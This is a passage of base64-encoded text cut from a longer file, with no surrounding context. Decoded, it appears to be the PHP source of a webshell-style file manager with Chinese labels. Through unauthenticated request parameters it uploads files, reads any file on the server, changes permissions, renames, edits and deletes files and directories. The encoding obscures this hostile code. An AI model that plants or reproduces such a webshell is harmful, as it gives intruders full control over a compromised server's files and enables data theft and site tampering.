4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNh